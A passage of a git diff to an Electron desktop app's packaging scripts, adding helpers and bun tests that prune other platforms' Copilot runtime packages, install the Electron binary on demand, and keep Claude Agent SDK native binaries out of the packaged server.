(!isCopilotRuntimePackage(dependencyName) || + dependencyName === runtimePackageName), + ); } /** - * @param {{ serverNodeModulesPath: string }} options + * Packages that must not ship in the packaged server for this target: every + * other platform's Copilot runtime and koffi with its platform binaries. + * + * @param {string} packageName + * @param {{ arch: number | string; platform: string }} target */ -function getExpectedPackagedCopilotFiles({ serverNodeModulesPath }) { +function isPrunedServerPackage(packageName, target) { + if (isCopilotRuntimePackage(packageName)) { + return packageName !== getCopilotRuntimePackageName(target); + } + + return ( + COPILOT_SDK_IN_PROCESS_ONLY_DEPENDENCIES.has(packageName) || + PRUNED_SERVER_PACKAGE_PREFIXES.some((prefix) => + packageName.startsWith(prefix), + ) + ); +} + +/** + * @param {{ + * arch: number | string; + * platform: string; + * serverNodeModulesPath: string; + * }} options + */ +function getExpectedPackagedCopilotFiles({ + arch, + platform, + serverNodeModulesPath, +}) { + const runtimePlatform = getCopilotRuntimePlatform({ arch, platform }); + const runtimeRoot = path.join( + serverNodeModulesPath, + ...getCopilotRuntimePackageName({ arch, platform }).split("/"), + ); + const prebuildRoot = path.join(runtimeRoot, "prebuilds", runtimePlatform); + return [ path.join(serverNodeModulesPath, "@github", "copilot-sdk", "package.json"), + path.join(runtimeRoot, "package.json"), + path.join( + prebuildRoot, + runtimePlatform.startsWith("win32") + ? "copilot-runtime.exe" + : "copilot-runtime", + ), + path.join(prebuildRoot, "runtime.node"), ]; } +/** + * Packaged server files that belong to another platform's Copilot runtime or + * to koffi, reported as paths relative to the server root. + * + * @param {{ + * arch: number | string; + * platform: string; + * serverFiles: string[]; + * serverPath: string; + * }} options + */ +function findUnexpectedPackagedCopilotFiles({ + arch, + platform, + serverFiles, + serverPath, +}) { + const target = { arch, platform }; + /** @type {Set} */ + const unexpectedPackages = new Set(); + + for (const filePath of serverFiles) { + const relativePath = path + .relative(serverPath, filePath) + .replaceAll("\\", "/"); + const segments = relativePath.split("/"); + const nodeModulesIndex = segments.lastIndexOf("node_modules"); + if (nodeModulesIndex === -1) { + continue; + } + + const [scopeOrName, scopedName] = segments.slice(nodeModulesIndex + 1); + if (!scopeOrName) { + continue; + } + + const packageName = scopeOrName.startsWith("@") + ? `${scopeOrName}/${scopedName ?? ""}` + : scopeOrName; + if (isPrunedServerPackage(packageName, target)) { + unexpectedPackages.add( + [...segments.slice(0, nodeModulesIndex + 1), packageName].join("/"), + ); + } + } + + return [...unexpectedPackages].sort(); +} + module.exports = { + findUnexpectedPackagedCopilotFiles, + getCopilotRuntimePackageName, + getCopilotRuntimePlatform, getDependencyNamesForPackage, getExpectedPackagedCopilotFiles, getRequiredServerRuntimePackages, + isPrunedServerPackage, + normalizeTargetArch, }; diff --git a/scripts/desktop/copilot-runtime-packaging.test.ts b/scripts/desktop/copilot-runtime-packaging.test.ts new file mode 100644 index 00000000..6b30792c --- /dev/null +++ b/scripts/desktop/copilot-runtime-packaging.test.ts @@ -0,0 +1,135 @@ +import { describe, expect, it } from "bun:test"; +import { readFile } from "node:fs/promises"; +import path from "node:path"; +import { createRequire } from "node:module"; + +const require = createRequire(import.meta.url); +type CopilotTarget = { arch: number | string; platform: string }; +const { + getCopilotRuntimePackageName, + getCopilotRuntimePlatform, + getDependencyNamesForPackage, + getRequiredServerRuntimePackages, + isPrunedServerPackage, +} = require("./copilot-runtime-packaging.cjs") as { + getCopilotRuntimePackageName: (target: CopilotTarget) => string; + getCopilotRuntimePlatform: (target: CopilotTarget) => string; + getDependencyNamesForPackage: (options: { + packageJson: { + dependencies?: Record; + optionalDependencies?: Record; + }; + packageName: string; + target: CopilotTarget; + }) => string[]; + getRequiredServerRuntimePackages: () => string[]; + isPrunedServerPackage: ( + packageName: string, + target: CopilotTarget, + ) => boolean; +}; + +describe("getCopilotRuntimePlatform", () => { + it("maps electron-builder targets to the SDK's runtime platforms", () => { + // electron-builder's Arch enum: 1 is x64, 3 is arm64. + expect(getCopilotRuntimePlatform({ arch: 3, platform: "darwin" })).toBe( + "darwin-arm64", + ); + expect(getCopilotRuntimePlatform({ arch: 1, platform: "mas" })).toBe( + "darwin-x64", + ); + expect(getCopilotRuntimePlatform({ arch: "x64", platform: "win32" })).toBe( + "win32-x64", + ); + expect( + getCopilotRuntimePlatform({ arch: "arm64", platform: "linux" }), + ).toBe("linux-arm64"); + expect(getCopilotRuntimePackageName({ arch: 1, platform: "linux" })).toBe( + "@github/copilot-sdk-linux-x64", + ); + }); + + it("rejects targets without a published runtime", () => { + expect(() => + getCopilotRuntimePlatform({ arch: "universal", platform: "darwin" }), + ).toThrow(/ships no runtime/); + expect(() => + getCopilotRuntimePlatform({ arch: "x64", platform: "freebsd" }), + ).toThrow(/ships no runtime/); + }); +}); + +describe("getDependencyNamesForPackage", () => { + it("keeps only the target runtime and drops koffi for the installed SDK", async () => { + const packageJson = JSON.parse( + await readFile( + path.join( + process.cwd(), + "node_modules", + "@github", + "copilot-sdk", + "package.json", + ), + "utf8", + ), + ) as { + dependencies?: Record; + optionalDependencies?: Record; + }; + + expect(getRequiredServerRuntimePackages()).toEqual(["@github/copilot-sdk"]); + // The installed SDK no longer pulls in the @github/copilot CLI package. + expect(Object.keys(packageJson.dependencies ?? {})).not.toContain( + "@github/copilot", + ); + expect( + getDependencyNamesForPackage({ + packageJson, + packageName: "@github/copilot-sdk", + target: { arch: "x64", platform: "linux" }, + }).sort(), + ).toEqual( + [ + "@github/copilot-sdk-linux-x64", + ...Object.keys(packageJson.dependencies ?? {}).filter( + (dependencyName) => dependencyName !== "koffi", + ), + ].sort(), + ); + }); + + it("leaves other packages' dependencies alone", () => { + expect( + getDependencyNamesForPackage({ + packageJson: { + dependencies: { "builder-util-runtime": "9.0.0" }, + optionalDependencies: { koffi: "3.2.1" }, + }, + packageName: "electron-updater", + target: { arch: "arm64", platform: "darwin" }, + }), + ).toEqual(["builder-util-runtime", "koffi"]); + }); +}); + +describe("isPrunedServerPackage", () => { + it("prunes other runtimes and koffi but keeps the SDK and target runtime", () => { + const target = { arch: "arm64", platform: "darwin" }; + + expect(isPrunedServerPackage("@github/copilot-sdk", target)).toBe(false); + expect( + isPrunedServerPackage("@github/copilot-sdk-darwin-arm64", target), + ).toBe(false); + expect( + isPrunedServerPackage("@github/copilot-sdk-darwin-x64", target), + ).toBe(true); + expect( + isPrunedServerPackage("@github/copilot-sdk-linuxmusl-arm64", target), + ).toBe(true); + expect(isPrunedServerPackage("koffi", target)).toBe(true); + expect(isPrunedServerPackage("@koromix/koffi-darwin-arm64", target)).toBe( + true, + ); + expect(isPrunedServerPackage("zod", target)).toBe(false); + }); +}); diff --git a/scripts/desktop/dev-launch.mjs b/scripts/desktop/dev-launch.mjs index d3e8f392..9a51051d 100644 --- a/scripts/desktop/dev-launch.mjs +++ b/scripts/desktop/dev-launch.mjs @@ -1,6 +1,8 @@ import { spawn } from "node:child_process"; import path from "node:path"; +import { ensureElectronBinary } from "./electron-binary.mjs"; + const HEALTHCHECK_URL = "http://localhost:3232/api/health"; const DEFAULT_HEALTHCHECK_TIMEOUT_MS = 300_000; const ELECTRON_ENTRY = path.join( @@ -51,6 +53,8 @@ async function waitForHealthcheck(timeoutMs = getHealthcheckTimeoutMs()) { ); } +// Electron 42+ downloads its binary on demand; fetch it while Next starts. +ensureElectronBinary(); await waitForHealthcheck(); const child = spawn(ELECTRON_ENTRY, ["."], { diff --git a/scripts/desktop/electron-binary.mjs b/scripts/desktop/electron-binary.mjs new file mode 100644 index 00000000..bc17e61a --- /dev/null +++ b/scripts/desktop/electron-binary.mjs @@ -0,0 +1,138 @@ +// Electron 42+ no longer downloads its binary from a postinstall script, so the +// desktop launcher, packaging and CI install it on demand through the +// package's `install-electron` bin. Run: bun run electron:install +import { spawnSync } from "node:child_process"; +import { existsSync, readFileSync } from "node:fs"; +import path from "node:path"; +import { pathToFileURL } from "node:url"; + +/** + * @param {string} [projectRoot] + */ +function getElectronPackageRoot(projectRoot = process.cwd()) { + return path.join(projectRoot, "node_modules", "electron"); +} + +/** + * @param {string} [projectRoot] + */ +export function getElectronDistPath(projectRoot = process.cwd()) { + return path.join(getElectronPackageRoot(projectRoot), "dist"); +} + +/** + * @param {string} [projectRoot] + * @param {NodeJS.Platform} [platform] + */ +export function getElectronExecutablePath( + projectRoot = process.cwd(), + platform = process.platform, +) { + const distPath = getElectronDistPath(projectRoot); + + switch (platform) { + case "darwin": + return path.join( + distPath, + "Electron.app", + "Contents", + "MacOS", + "Electron", + ); + case "win32": + return path.join(distPath, "electron.exe"); + default: + return path.join(distPath, "electron"); + } +} + +/** + * @param {string} [projectRoot] + */ +export function getElectronVersion(projectRoot = process.cwd()) { + const packageJson = JSON.parse( + readFileSync( + path.join(getElectronPackageRoot(projectRoot), "package.json"), + "utf8", + ), + ); + return packageJson.version; +} + +/** + * The binary counts as installed only when dist/version matches the installed + * electron package, so a stale dist from a previous Electron major is replaced. + * + * @param {string} [projectRoot] + */ +export function isElectronBinaryInstalled(projectRoot = process.cwd()) { + try { + const distVersion = readFileSync( + path.join(getElectronDistPath(projectRoot), "version"), + "utf8", + ) + .trim() + .replace(/^v/, ""); + + return ( + distVersion === getElectronVersion(projectRoot) && + existsSync(getElectronExecutablePath(projectRoot)) + ); + } catch { + return false; + } +} + +/** + * @param {{ projectRoot?: string; logger?: Pick }} [options] + */ +export function ensureElectronBinary({ + projectRoot = process.cwd(), + logger = console, +} = {}) { + const executablePath = getElectronExecutablePath(projectRoot); + + if (isElectronBinaryInstalled(projectRoot)) { + return executablePath; + } + + const installScriptPath = path.join( + getElectronPackageRoot(projectRoot), + "install.js", + ); + if (!existsSync(installScriptPath)) { + throw new Error( + `Expected the electron package at ${getElectronPackageRoot(projectRoot)}. Run \`bun install\` first.`, + ); + } + + logger.log( + `[desktop] downloading the Electron ${getElectronVersion(projectRoot)} binary into ${getElectronDistPath(projectRoot)}`, + ); + // install.js expects Node; the dev launcher itself runs under bun. + const nodeCommand = process.versions.bun ? "node" : process.execPath; + const result = spawnSync(nodeCommand, [installScriptPath], { + cwd: projectRoot, + stdio: "inherit", + }); + + if (result.status !== 0 || !isElectronBinaryInstalled(projectRoot)) { + throw new Error( + `The Electron binary is missing at ${executablePath} and install-electron failed${ + result.error ? `: ${result.error.message}` : "" + }. Run \`bun run electron:install\` and try again.`, + ); + } + + return executablePath; +} + +if ( + process.argv[1] && + import.meta.url === pathToFileURL(path.resolve(process.argv[1])).href +) { + const executablePath = ensureElectronBinary(); + console.log( + `[desktop] Electron ${getElectronVersion()} binary ready at ${executablePath}`, + ); +} diff --git a/scripts/desktop/electron-binary.test.ts b/scripts/desktop/electron-binary.test.ts new file mode 100644 index 00000000..3083d9f6 --- /dev/null +++ b/scripts/desktop/electron-binary.test.ts @@ -0,0 +1,110 @@ +import { afterEach, describe, expect, it } from "bun:test"; +import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import os from "node:os"; +import path from "node:path"; + +import { + ensureElectronBinary, + getElectronExecutablePath, + isElectronBinaryInstalled, +} from "./electron-binary.mjs"; + +const temporaryRoots: string[] = []; +const silentLogger = { log: () => {} }; + +function createProject(version: string, installScript?: string) { + const projectRoot = mkdtempSync(path.join(os.tmpdir(), "sentinel-electron-")); + temporaryRoots.push(projectRoot); + const packageRoot = path.join(projectRoot, "node_modules", "electron"); + mkdirSync(packageRoot, { recursive: true }); + writeFileSync( + path.join(packageRoot, "package.json"), + JSON.stringify({ name: "electron", version }), + ); + + if (installScript) { + writeFileSync(path.join(packageRoot, "install.js"), installScript); + } + + return projectRoot; +} + +function writeDist(projectRoot: string, version: string) { + const executablePath = getElectronExecutablePath(projectRoot); + mkdirSync(path.dirname(executablePath), { recursive: true }); + writeFileSync(executablePath, ""); + writeFileSync( + path.join(projectRoot, "node_modules", "electron", "dist", "version"), + version, + ); +} + +function getFakeInstallScript(projectRoot: string, version: string) { + const relativeExecutablePath = path.relative( + path.join(projectRoot, "node_modules", "electron"), + getElectronExecutablePath(projectRoot), + ); + + return ` +const fs = require("node:fs"); +const path = require("node:path"); +const executablePath = path.join(__dirname, ${JSON.stringify(relativeExecutablePath)}); +fs.mkdirSync(path.dirname(executablePath), { recursive: true }); +fs.writeFileSync(executablePath, ""); +fs.writeFileSync(path.join(__dirname, "dist", "version"), ${JSON.stringify(version)}); +`; +} + +afterEach(() => { + for (const projectRoot of temporaryRoots.splice(0)) { + rmSync(projectRoot, { force: true, recursive: true }); + } +}); + +describe("isElectronBinaryInstalled", () => { + it("requires a dist binary that matches the installed electron package", () => { + const projectRoot = createProject("44.6.0"); + expect(isElectronBinaryInstalled(projectRoot)).toBe(false); + + writeDist(projectRoot, "40.8.0"); + expect(isElectronBinaryInstalled(projectRoot)).toBe(false); + + writeDist(projectRoot, "v44.6.0"); + expect(isElectronBinaryInstalled(projectRoot)).toBe(true); + }); +}); + +describe("ensureElectronBinary", () => { + it("returns the installed binary without running install-electron", () => { + const projectRoot = createProject( + "44.6.0", + "process.exit(1);", // would fail if it ran + ); + writeDist(projectRoot, "44.6.0"); + + expect(ensureElectronBinary({ logger: silentLogger, projectRoot })).toBe( + getElectronExecutablePath(projectRoot), + ); + }); + + it("runs install-electron when the binary is missing", () => { + const projectRoot = createProject("44.6.0"); + writeFileSync( + path.join(projectRoot, "node_modules", "electron", "install.js"), + getFakeInstallScript(projectRoot, "44.6.0"), + ); + + expect(ensureElectronBinary({ logger: silentLogger, projectRoot })).toBe( + getElectronExecutablePath(projectRoot), + ); + expect(isElectronBinaryInstalled(projectRoot)).toBe(true); + }); + + it("fails with a recovery hint when install-electron fails", () => { + const projectRoot = createProject("44.6.0", "process.exit(1);"); + + expect(() => + ensureElectronBinary({ logger: silentLogger, projectRoot }), + ).toThrow("bun run electron:install"); + }); +}); diff --git a/scripts/desktop/excluded-server-packages.mjs b/scripts/desktop/excluded-server-packages.mjs new file mode 100644 index 00000000..9392961f --- /dev/null +++ b/scripts/desktop/excluded-server-packages.mjs @@ -0,0 +1,88 @@ +// Packages that must never ship in the packaged Next server, even when they +// are installed for development. +// @anthropic-ai/claude-agent-sdk-: the Agent SDK's per-platform +// native Claude Code binary (~225 MB each, 0.2.113+). Sentinel always runs +// the user's own `claude` through `pathToClaudeCodeExecutable`, so the SDK +// never needs it. bun still installs the host's copy for dev: its optional +// dependency handling is all-or-nothing (`--omit optional` would also drop +// @next/swc, sharp, esbuild and the other native builds), and pnpm's "-" +// override has no bun equivalent. +// next.config.js keeps them out of output tracing, prune-server.mjs deletes +// any that slip into desktop/dist/server, and the bundle audit fails if one +// reaches the packaged app. +export const EXCLUDED_SERVER_PACKAGE_GLOBS = [ + "@anthropic-ai/claude-agent-sdk-*", +]; + +const EXCLUDED_SERVER_PACKAGE_PATTERNS = [ + /^@anthropic-ai\/claude-agent-sdk-[^/]+$/, +]; + +/** + * @param {string} packageName + */ +export function isExcludedServerPackage(packageName) { + return EXCLUDED_SERVER_PACKAGE_PATTERNS.some((pattern) => + pattern.test(packageName), + ); +} + +/** + * The package directory a node_modules child names, for directories directly + * under `node_modules/` or `node_modules/@scope/`. + * + * @param {string} parentDirectoryPath + * @param {string} entryName + */ +export function getNodeModulesPackageName(parentDirectoryPath, entryName) { + const segments = parentDirectoryPath.replaceAll("\\", "/").split("/"); + const parentName = segments.at(-1); + const grandparentName = segments.at(-2); + + if (parentName === "node_modules") { + return entryName.startsWith("@") ? null : entryName; + } + + if (parentName?.startsWith("@") && grandparentName === "node_modules") { + return `${parentName}/${entryName}`; + } + + return null; +} + +/** + * Packaged-server files that belong to an excluded package, at any + * node_modules depth. Returns one entry per offending package directory. + * + * @param {{ serverFiles: string[]; serverPath: string }} input + */ +export function findExcludedServerPackages({ serverFiles, serverPath }) { + const normalizedServerPath = serverPath.replaceAll("\\", "/"); + const offendingPackages = new Set(); + + for (const filePath of serverFiles) { + const normalizedFilePath = filePath.replaceAll("\\", "/"); + const relativePath = normalizedFilePath.startsWith( + `${normalizedServerPath}/`, + ) + ? normalizedFilePath.slice(normalizedServerPath.length + 1) + : normalizedFilePath; + const segments = relativePath.split("/"); + + for (let index = 0; index < segments.length - 1; index += 1) { + if (segments[index] !== "node_modules") continue; + + const first = segments[index + 1] ?? ""; + const packageName = first.startsWith("@") + ? `${first}/${segments[index + 2] ?? ""}` + : first; + if (isExcludedServerPackage(packageName)) { + offendingPackages.add( + [...segments.slice(0, index + 1), packageName].join("/"), + ); + } + } + } + + return [...offendingPackages].sort(); +} diff --git a/scripts/desktop/excluded-server-packages.test.ts b/scripts/desktop/excluded-server-packages.test.ts new file mode 100644 index 00000000..db575de9 --- /dev/null +++ b/scripts/desktop/excluded-server-packages.test.ts @@ -0,0 +1,150 @@ +import { describe, expect, it } from "bun:test"; +import { spawnSync } from "node:child_process"; +import { + mkdir, + mkdtemp, + readdir, + readFile, + rm, + writeFile, +} from "node:fs/promises"; +import os from "node:os"; +import path from "node:path"; + +import { + EXCLUDED_SERVER_PACKAGE_GLOBS, + findExcludedServerPackages, + getNodeModulesPackageName, + isExcludedServerPackage, +} from "./excluded-server-packages.mjs"; +import { SERVER_EXTERNAL_PACKAGES } from "./server-external-packages.mjs"; + +const projectRoot = process.cwd(); + +describe("excluded server packages", () => { + it("matches every Claude Agent SDK native CLI package and nothing else", async () => { + const sdkPackageJson = JSON.parse( + await readFile( + path.join( + projectRoot, + "node_modules", + "@anthropic-ai", + "claude-agent-sdk", + "package.json", + ), + "utf8", + ), + ) as { optionalDependencies?: Record }; + const nativePackages = Object.keys( + sdkPackageJson.optionalDependencies ?? {}, + ); + + expect(nativePackages.length).toBeGreaterThan(0); + expect( + nativePackages.filter((name) => !isExcludedServerPackage(name)), + ).toEqual([]); + expect(isExcludedServerPackage("@anthropic-ai/claude-agent-sdk")).toBe( + false, + ); + expect(isExcludedServerPackage("@anthropic-ai/sdk")).toBe(false); + }); + + it("names node_modules package directories, scoped or not", () => { + expect(getNodeModulesPackageName("/srv/node_modules", "undici")).toBe( + "undici", + ); + expect( + getNodeModulesPackageName( + "/srv/node_modules/@anthropic-ai", + "claude-agent-sdk-darwin-arm64", + ), + ).toBe("@anthropic-ai/claude-agent-sdk-darwin-arm64"); + expect( + getNodeModulesPackageName("/srv/node_modules", "@anthropic-ai"), + ).toBeNull(); + expect( + getNodeModulesPackageName("/srv/node_modules/undici", "lib"), + ).toBeNull(); + }); + + it("reports packaged native CLIs at any depth, once per package", () => { + const serverPath = "/tmp/Sentinel.app/Contents/Resources/server"; + const nativeRoot = `${serverPath}/node_modules/@anthropic-ai/claude-agent-sdk-darwin-arm64`; + + expect( + findExcludedServerPackages({ + serverFiles: [ + `${serverPath}/node_modules/@anthropic-ai/claude-agent-sdk/sdk.mjs`, + `${nativeRoot}/claude`, + `${nativeRoot}/package.json`, + `${serverPath}/node_modules/foo/node_modules/@anthropic-ai/claude-agent-sdk-linux-x64/claude`, + ], + serverPath, + }), + ).toEqual([ + "node_modules/@anthropic-ai/claude-agent-sdk-darwin-arm64", + "node_modules/foo/node_modules/@anthropic-ai/claude-agent-sdk-linux-x64", + ]); + expect( + findExcludedServerPackages({ + serverFiles: [ + `${serverPath}/node_modules/@anthropic-ai/claude-agent-sdk/package.json`, + ], + serverPath, + }), + ).toEqual([]); + }); + + it("keeps the native CLIs out of output tracing and externalizes the SDK", async () => { + process.env.SKIP_ENV_VALIDATION = "1"; + const { default: config } = await import("../../next.config.js"); + + expect(config.outputFileTracingExcludes?.["/**"]).toEqual( + EXCLUDED_SERVER_PACKAGE_GLOBS.map( + (packageGlob) => `./node_modules/${packageGlob}/**/*`, + ), + ); + expect(config.serverExternalPackages).toEqual(SERVER_EXTERNAL_PACKAGES); + expect(SERVER_EXTERNAL_PACKAGES).toContain( + "@anthropic-ai/claude-agent-sdk", + ); + }); + + it("prune-server deletes native CLI packages from the staged server", async () => { + const tempProject = await mkdtemp( + path.join(os.tmpdir(), "sentinel-prune-"), + ); + const scopeRoot = path.join( + tempProject, + "desktop", + "dist", + "server", + "node_modules", + "@anthropic-ai", + ); + + try { + for (const packageName of [ + "claude-agent-sdk", + "claude-agent-sdk-darwin-arm64", + ]) { + await mkdir(path.join(scopeRoot, packageName), { recursive: true }); + await writeFile( + path.join(scopeRoot, packageName, "package.json"), + JSON.stringify({ name: `@anthropic-ai/${packageName}` }), + ); + } + + const result = spawnSync( + process.execPath, + [path.join(projectRoot, "scripts", "desktop", "prune-server.mjs")], + { cwd: tempProject, encoding: "utf8" }, + ); + + expect(result.status).toBe(0); + expect((await readdir(scopeRoot)).sort()).toEqual(["claude-agent-sdk"]); + } finally { + await rm(tempProject, { force: true, recursive: true }); + } + }); +}); diff --git a/scripts/desktop/package-config.test.ts b/scripts/desktop/package-config.test.ts index bccfa69e..3b4461ae 100644 --- a/scripts/desktop/package-config.test.ts +++ b/scripts/desktop/package-config.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from "bun:test"; -import { readFile } from "node:fs/promises"; +import { readdir, readFile, stat } from "node:fs/promises"; import path from "node:path"; describe("desktop packaging configuration", () => { @@ -40,4 +40,192 @@ describe("desktop packaging configuration", () => { expect(publishReleaseWorkflow).toContain("dist/*.zip"); expect(desktopVerifyWorkflow).toContain('echo "dist/*.zip"'); }); + + it("stamps the macOS floor into the update feed before it is uploaded", async () => { + const [packageScript, auditScript, publishReleaseWorkflow] = + await Promise.all( + [ + "scripts/desktop/package.mjs", + "scripts/desktop/audit-bundle.mjs", + ".github/workflows/publish-release.yml", + ].map((file) => readFile(path.join(process.cwd(), file), "utf8")), + ); + + expect(packageScript).toContain("--publish"); + expect(packageScript).toContain('"never"'); + expect(packageScript).toContain("await stampMacUpdateFeeds("); + expect(auditScript).toContain("findMacUpdateFeedIssues("); + expect(publishReleaseWorkflow).toContain("dist/latest-mac.yml"); + }); + + it("installs the Electron binary that electron-builder packages", async () => { + const [packageJson, setupDesktopBuildAction] = await Promise.all([ + readFile(path.join(process.cwd(), "package.json"), "utf8").then( + (contents) => + JSON.parse(contents) as { + build: { electronDist: string }; + scripts: Record; + }, + ), + readFile( + path.join( + process.cwd(), + ".github/actions/setup-desktop-build/action.yml", + ), + "utf8", + ), + ]); + + expect(packageJson.build.electronDist).toBe("node_modules/electron/dist"); + expect(packageJson.scripts["electron:install"]).toBe( + "node ./scripts/desktop/electron-binary.mjs", + ); + expect(setupDesktopBuildAction).toContain("run: bun run electron:install"); + }); +}); + +// bun only runs the lifecycle scripts of packages named here. better-sqlite3 +// stays out: it loads bundled N-API prebuilds, and bun would otherwise run a +// no-op `node-gyp rebuild` that needs Python (and Visual Studio on Windows). +// koffi (from @github/copilot-sdk) ships its binaries in @koromix/koffi- +// packages and only backs the SDK's in-process transport, which Sentinel does +// not use, so its CMake-capable install script never needs to run. +const INTENTIONALLY_UNTRUSTED = new Set([ + "better-sqlite3", + "koffi", + "tesseract.js", +]); + +async function listPackagesWithInstallScripts(nodeModulesPath: string) { + const packages = new Set(); + const visit = async (directory: string) => { + const entries = await readdir(directory, { withFileTypes: true }).catch( + () => [], + ); + + for (const entry of entries) { + if (!entry.isDirectory() || entry.name.startsWith(".")) continue; + + const packagePath = path.join(directory, entry.name); + if (entry.name.startsWith("@")) { + await visit(packagePath); + continue; + } + + const manifest = await readFile( + path.join(packagePath, "package.json"), + "utf8", + ) + .then( + (contents) => + JSON.parse(contents) as { + name?: string; + scripts?: Record; + }, + ) + .catch(() => null); + + if (manifest?.name) { + const scripts = manifest.scripts ?? {}; + const hasLifecycleScript = [ + "preinstall", + "install", + "postinstall", + ].some((name) => Boolean(scripts[name])); + // bun runs `node-gyp rebuild` for a binding.gyp without an install + // script, even when the manifest sets `gypfile: false`. + const hasImplicitGypBuild = await stat( + path.join(packagePath, "binding.gyp"), + ) + .then(() => true) + .catch(() => false); + + if (hasLifecycleScript || hasImplicitGypBuild) { + packages.add(manifest.name); + } + } + + await visit(path.join(packagePath, "node_modules")); + } + }; + + await visit(nodeModulesPath); + return packages; +} + +describe("desktop shell runtime scripts", () => { + const scriptsRoot = path.join(process.cwd(), "scripts", "desktop"); + const importPattern = /from\s+["']([^"']+\.mjs)["']/g; + + async function readImports(file: string) { + const content = await readFile(file, "utf8"); + return [...content.matchAll(importPattern)].map((match) => + path.resolve(path.dirname(file), match[1]!), + ); + } + + it("copies every scripts/desktop module the shell imports, transitively", async () => { + const mainRoot = path.join(process.cwd(), "desktop", "main"); + const pending = ( + await Promise.all( + (await readdir(mainRoot)) + .filter((name) => name.endsWith(".mjs")) + .map((name) => readImports(path.join(mainRoot, name))), + ) + ) + .flat() + .filter((file) => file.startsWith(`${scriptsRoot}${path.sep}`)); + const required = new Set(); + while (pending.length > 0) { + const file = pending.pop()!; + if (required.has(file)) continue; + required.add(file); + pending.push( + ...(await readImports(file)).filter((next) => + next.startsWith(`${scriptsRoot}${path.sep}`), + ), + ); + } + + const prepareShell = await readFile( + path.join(scriptsRoot, "prepare-shell.mjs"), + "utf8", + ); + const listed = new Set( + [ + ...( + prepareShell.match(/runtimeScripts = \[([^\]]*)\]/)?.[1] ?? "" + ).matchAll(/"([^"]+)"/g), + ].map((match) => match[1]), + ); + + expect([...required].map((file) => path.basename(file)).sort()).toEqual( + expect.arrayContaining(["agent-shutdown.mjs", "server-manager.mjs"]), + ); + for (const file of required) { + expect(listed.has(path.basename(file))).toBe(true); + } + }); +}); + +describe("dependency lifecycle scripts", () => { + it("trusts every installed package with install scripts except better-sqlite3", async () => { + const packageJson = JSON.parse( + await readFile(path.join(process.cwd(), "package.json"), "utf8"), + ) as { trustedDependencies?: string[] }; + const trusted = new Set(packageJson.trustedDependencies ?? []); + const withScripts = await listPackagesWithInstallScripts( + path.join(process.cwd(), "node_modules"), + ); + + expect(packageJson.trustedDependencies).toBeArray(); + expect(trusted.has("better-sqlite3")).toBe(false); + expect(withScripts.has("better-sqlite3")).toBe(true); + expect( + [...withScripts] + .filter((name) => !trusted.has(name)) + .filter((name) => !INTENTIONALLY_UNTRUSTED.has(name)) + .sort(), + ).toEqual([]); + }); }); diff --git a/scripts/desktop/package.mjs b/scripts/desktop/package.mjs index 741a47c5..d07d5182 100644 --- a/scripts/desktop/package.mjs +++ b/scripts/desktop/package.mjs @@ -1,5 +1,6 @@ import { spawn } from "node:child_process"; import path from "node:path"; +import { findMacAppBundles, stampMacUpdateFeeds } from "./update-feed.mjs"; const PLATFORM_CONFIG = { linux: { @@ -18,13 +19,8 @@ const PLATFORM_CONFIG = { nodePlatform: "win32", }, }; -const SUPPORTED_ARCHS = new Set([ - "arm64", - "armv7l", - "ia32", - "universal", - "x64", -]); +// Electron 44 publishes 64-bit binaries only (no Windows x86 or Linux ARMv7). +const SUPPORTED_ARCHS = new Set(["arm64", "universal", "x64"]); function getArgValue(flag) { const index = process.argv.indexOf(flag); @@ -49,10 +45,6 @@ function getArgValues(flag) { return values; } -function normalizeArch(arch) { - return arch === "arm" ? "armv7l" : arch; -} - function run(command, args, options = {}) { return new Promise((resolve, reject) => { const child = spawn(command, args, { @@ -102,7 +94,7 @@ const targets = [ .filter(Boolean), ), ]; -const archs = [...new Set(getArgValues("--arch").map(normalizeArch))]; +const archs = [...new Set(getArgValues("--arch"))]; const electronBuilderCli = path.join( process.cwd(), @@ -121,14 +113,14 @@ const builderArgs = [ for (const arch of archs) { if (!SUPPORTED_ARCHS.has(arch)) { throw new Error( - `Unsupported "--arch" value "${arch}". Expected one of: arm64, armv7l, ia32, universal, x64.`, + `Unsupported "--arch" value "${arch}". Expected one of: arm64, universal, x64.`, ); } builderArgs.push(`--${arch}`); } -const targetArchs = archs.length > 0 ? archs : [normalizeArch(process.arch)]; +const targetArchs = archs.length > 0 ? archs : [process.arch]; const concreteTargetArchs = targetArchs.filter((arch) => arch !== "universal"); if (concreteTargetArchs.length !== 1) { @@ -165,6 +157,16 @@ await run(process.execPath, [ await run(process.execPath, [electronBuilderCli, ...builderArgs]); +if (platform === "mac") { + // Builds run with --publish never; the release workflow uploads the stamped + // feed afterwards. + const distRoot = path.join(process.cwd(), "dist"); + await stampMacUpdateFeeds({ + appPaths: await findMacAppBundles(distRoot), + distRoot, + }); +} + await run(process.execPath, [ "./scripts/desktop/audit-bundle.mjs", "--platform", diff --git a/scripts/desktop/preflight.mjs b/scripts/desktop/preflight.mjs index 89d400e0..214f10bd 100644 --- a/scripts/desktop/preflight.mjs +++ b/scripts/desktop/preflight.mjs @@ -2,6 +2,11 @@ import { spawnSync } from "node:child_process"; import { appendFileSync, existsSync } from "node:fs"; import path from "node:path"; +import { + ensureElectronBinary, + getElectronVersion, +} from "./electron-binary.mjs"; + function getArgValue(flag) { const index = process.argv.indexOf(flag); if (index === -1) return null; @@ -60,6 +65,11 @@ const summaryLines = [ `- Platform: \`${platform}\``, ]; +// build.electronDist packages node_modules/electron/dist, which Electron 42+ +// no longer populates during install. +ensureElectronBinary(); +summaryLines.push(`- Electron: ${getElectronVersion()} binary installed`); + if (platform !== "mac") { summaryLines.push( "- Preflight: no platform-specific signing checks required", diff --git a/scripts/desktop/prepare-shell.mjs b/scripts/desktop/prepare-shell.mjs index a4ca3230..9619450b 100644 --- a/scripts/desktop/prepare-shell.mjs +++ b/scripts/desktop/prepare-shell.mjs @@ -19,7 +19,10 @@ for (const subdir of ["main", "preload", "shared"]) { ); } +// Everything desktop/main imports from scripts/desktop, transitively +// (package-config.test.ts checks the list). const runtimeScripts = [ + "agent-shutdown.mjs", "constants.mjs", "server-manager.mjs", "service-manager.mjs", diff --git a/scripts/desktop/prune-server.mjs b/scripts/desktop/prune-server.mjs index 568269ec..c874cb50 100644 --- a/scripts/desktop/prune-server.mjs +++ b/scripts/desktop/prune-server.mjs @@ -1,6 +1,11 @@ import { readdir, rm, stat } from "node:fs/promises"; import path from "node:path"; +import { + getNodeModulesPackageName, + isExcludedServerPackage, +} 